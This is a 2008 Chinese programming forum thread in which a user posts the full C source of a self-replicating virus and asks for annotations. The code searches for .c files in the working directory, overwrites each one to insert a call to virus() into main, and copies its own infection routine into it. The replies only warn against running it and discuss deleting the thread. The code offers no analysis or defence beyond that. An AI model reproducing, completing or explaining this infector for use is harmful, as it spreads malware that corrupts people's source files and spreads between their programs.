标题:你能注释吗》
只看楼主
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
 问题点数:0 回复次数:12 
你能注释吗》
#include <stdio.h>  
#include <dir.h>  
void main(void)  
{  
virus();  
}  
int virus()  
{  
struct ffblk ffblk;  
FILE *in,*out,*read;  
char *virus="virus.c";  
char buf[50][80];  
char *p;  
char *end="return";  
char *bracket="}";  
char *main="main";  
char *include[2]={"stdio.h","dir.h"};  
char *int_virus="int virus()";  
char *buffer;  
int done,i,j=0,flag=0;  
printf("\nI have a virus. Writen by PuBin\n");  
done = findfirst("*.c",&ffblk,0);  
while (!done)  
{  
i=0;  
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)  
{  
goto next;  
}  
do{  
    if(i>=50)  
    {  
fclose(in);  
goto next;  
    }  
    p=fgets(buf[i],80,in);  
    i++;  
   }while(p!=NULL);  
   fclose(in);  
   out=fopen(ffblk.ff_name,"w+t");  
   fputs("#include<stdio.h>\n",out);  
   fputs("#include<dir.h>\n",out);  
do  
{  
  if(strstr(buf[j],main)!=NULL)  
  {  
   for(;j<i-1;j++)  
   if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)  
   fputs(buf[j],out);  
   else  
   {  
    if(flag==0)  
    {  
flag=1;  
fputs("virus();\n",out);  
    }  
    fputs(buf[j],out);  
   }  
}  
else if((strstr(buf[j],include[0])==NULL)  
&&(strstr(buf[j],include[1])==NULL))  
{  
fputs(buf[j],out);  
j++;  
}  
else  
j++;  
}while(j<i-1);  
read=fopen(virus,"rt");  
do  
{  
p=fgets(buffer,80,read);  
if(strstr(buffer,int_virus))  
while(p!=NULL)  
{  
  if(strstr(buffer,virus)==NULL)  
  fputs(buffer,out);  
  else  
  {  
                fputs(" char *virus=\"",out);  
fputs(ffblk.ff_name,out);  
        fputs("\";\n",out);  
}  
p=fgets(buffer,80,read);  
}  
}while(p!=NULL);  

fclose(read);  
fclose(out);  
      printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name);  
next: done = findnext(&ffblk);  
}  
return 0;  
}
搜索更多相关主题的帖子: char virus 注释 int 
2008-05-06 23:12
sunkaidong
Rank: 4
来 自:南京师范大学
等 级:贵宾
威 望:12
帖 子:4496
专家分:141
注 册:2006-12-28
得分:0 
你不会是从拿搞来的病毒吧?没仔细看..哦恨写病毒的...我机器中毒了...资料都没了..还有和别人说下..不要运行.要不会中毒的

[[it] 本帖最后由 sunkaidong 于 2008-5-6 23:17 编辑 [/it]]

学习需要安静。。海盗要重新来过。。
2008-05-06 23:14
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
得分:0 
。。
是病毒。怎么了?

<接受者>? or <创造者>?
2008-05-06 23:16
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
得分:0 
研究下,没叫你做坏事

<接受者>? or <创造者>?
2008-05-06 23:16
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
得分:0 
没那么严重吧
 对不起了 大家,赶快删除这个帖子吧  管理员

<接受者>? or <创造者>?
2008-05-06 23:20
moonwalker
Rank: 1
等 级:新手上路
威 望:1
帖 子:909
专家分:2
注 册:2007-3-2
得分:0 
virus();  
主函数已经明说是病毒了。。。

“视频教程网”免费提供教学资源
C不限制你的自由!
条件是自己承担滥用自由的恶果!
2008-05-06 23:22
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
得分:0 
virus()  解释下.

<接受者>? or <创造者>?
2008-05-06 23:23
moonwalker
Rank: 1
等 级:新手上路
威 望:1
帖 子:909
专家分:2
注 册:2007-3-2
得分:0 
病毒。。。

“视频教程网”免费提供教学资源
C不限制你的自由!
条件是自己承担滥用自由的恶果!
2008-05-06 23:25
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
得分:0 
...这个病毒是实现自我复制..从而占用大量系统内存?

<接受者>? or <创造者>?
2008-05-06 23:27
PcrazyC
Rank: 6Rank: 6
等 级:贵宾
威 望:29
帖 子:5652
专家分:0
注 册:2006-10-20
得分:0 
干嘛要删呢,看看也不错,明天看,今天太累了

雁无留踪之意,水无取影之心
2008-05-06 23:29



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-212849-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.156753 second(s), 7 queries.
Copyright©2004-2025, BCCN.NET, All Rights Reserved